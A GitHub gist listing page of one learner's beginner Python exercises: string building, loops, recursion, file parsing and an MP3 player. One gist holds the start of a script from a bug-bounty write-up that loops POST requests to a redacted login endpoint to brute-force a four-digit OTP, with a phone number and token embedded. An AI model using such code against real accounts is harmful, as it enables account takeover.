Skip to content

Instantly share code, notes, and snippets.

View ayubmetah's full-sized avatar

Ayub Metah ayubmetah

View GitHub Profile
@ayubmetah
ayubmetah / python_strings.py
Created November 15, 2020 17:13
I'm in the process of learning Python and this is my fist program after a few lessons in Variables, Data Types, Strings, User Input/Output, Key Words, String Concatenation, string joining joining/splitting, Data types and conversion. This code asks the user their name and twitter username and goes ahead to display the full URL by joining the str…
#Write a Program that displays a full Twitter Url for a user.
#Knowledge required here is to join/concatenate a string and request user input
#Ask the user their names:
f = input ("What is your name?: ")
#Create a Twitter string Url and add it to a variable
t = "https://twitter.com/"
#Ask the user to supply his user name and add the input to a variable
h = input('What is your Twitter Handle? (Letters Only): ')
@ayubmetah
ayubmetah / gist:bf0ad0270d5b433830fbcf5c7e3eb987
Created December 18, 2020 03:45
Adding values in a loop
values = [23, 52, 59, 37, 48]
sum = 0
length =0
for value in values:
sum += value
length += 1
print("Total sum: " + str(sum) + " - Average: " + str(sum/length))
@ayubmetah
ayubmetah / nested_loops.py
Created December 18, 2020 11:02
Nested Loop
teams = [ 'Man u', 'Tottenham', 'Arsenal', 'Chelsea', 'Liverpool' ]
for home_team in teams:
for away_team in teams:
if home_team != away_team:
print(home_team + " vs " + away_team)
@ayubmetah
ayubmetah / factorial_example-2.py
Created December 20, 2020 01:16
An example of recursion in Python at work
#recursions example-2
def factorial(n):
print("Factoriaal called with " + str(n))
if n < 2:
print("Returning 1")
return 1
result = n * factorial(n - 1)
print("Returning " + str(result) + " for factorial of " + str(n))
return result
factorial(4)
@ayubmetah
ayubmetah / factorial_example-2.py
Created December 20, 2020 01:17
An example of recursion in Python at work.
#recursions example-2
def factorial(n):
print("Factoriaal called with " + str(n))
if n < 2:
print("Returning 1")
return 1
result = n * factorial(n - 1)
print("Returning " + str(result) + " for factorial of " + str(n))
return result
factorial(4)
@ayubmetah
ayubmetah / file_data_process.py
Created December 20, 2020 03:32
Write a program that prompts for a file name, then opens that file and reads through the file, looking for lines. Count these lines and extract the floating point values from each of the lines and compute the average of those values and produce an output as shown below. Do not use the sum() function or a variable named sum in your solution.
#7.2 Write a program that prompts for a file name, then opens that file and reads through the file, looking for lines of the form:
#X-DSPAM-Confidence: 0.8475. Count these lines and extract the floating point values from each of the lines and compute the average of those values and produce an output as shown below. Do not use the sum() function or a variable named sum in your solution.
#You can download the sample data at http://www.py4e.com/code3/mbox-short.txt when you are testing below enter mbox-short.txt as the file name.
fname = input("Enter file name: ")
fh = open(fname)
count = 0
average = 0
for line in fh:
if not line.startswith("X-DSPAM-Confidence:") : continue
@ayubmetah
ayubmetah / data_structures.py
Created December 21, 2020 01:07
8.4 Open the file romeo.txt and read it line by line. For each line, split the line into a list of words using the split() method. The program should build a list of words. For each word on each line check to see if the word is already in the list and if not append it to the list. When the program completes, sort and print the resulting words in…
fname = input("Enter file name: ")
fh = open(fname, 'r')
lst = list()
for line in fh:
words = line.split()
for word in words:
if word in lst: continue
lst.append(word)
lst.sort()
@ayubmetah
ayubmetah / lists_and_strings.py
Created December 23, 2020 22:28
What is wrong with the code for the following question?
# Open the file mbox-short.txt and read it line by line. When you find a line that starts with 'From ' like the following line:
# From stephen.marquard@uct.ac.za Sat Jan 5 09:14:16 2008
# You will parse the From line using split() and print out the second word in the line (i.e. the entire address of the person who sent the message). Then print out a count at the end.
# Hint: make sure not to include the lines that start with 'From:'. Also look at the last line of the sample output to see how to print the count.
# You can download the sample data at http://www.py4e.com/code3/mbox-short.txt
#MY SOLUTION
fh = open(fname)
@ayubmetah
ayubmetah / otp_functionality.py
Created December 27, 2020 18:51
The code below is from Suraj Bhosale's write-up regarding Account takeover via login with OTP. There are 10,000 possible combinations that the digits 0-9 can be arranged into to form a four-digit code. Script originally written by @suraj-bhosale-876b2937
def generateotp():
otp_found = 0
while otp_found == 0:
Endpoint = "https://api.redacted.com/v3/users/login"
#Generate new OTP Post data to be sent
payload = {"uemail":"","password":"","umobile":"0720619878"}
headers = {"temptoken": "8fa1db6aa4652f6124062f9ca1d2c5b1a6da199f", "Connection": "close"}
#Generating New otp
r = requests.post(url = Endpoint, data=json.dumps(payload), headers=headers)
soup = BS(r.text, "html.parser")
@ayubmetah
ayubmetah / MyPlayer.py
Created December 27, 2020 21:14
MP3 Music Player built with Python. [Credit for this code goes to Papa Moryba Kouate. (https://www.linkedin.com/in/papa-moryba-kouate-6a2aaa128/)
import pygame #used to create video games
import tkinter as tkr #used to develop GUI
from tkinter.filedialog import askdirectory #it permit to select dir
import os #it permits to interact with the operating system
music_player = tkr.Tk()
music_player.title("Ayub Technologies Player")
music_player.geometry("450x350")
directory = askdirectory()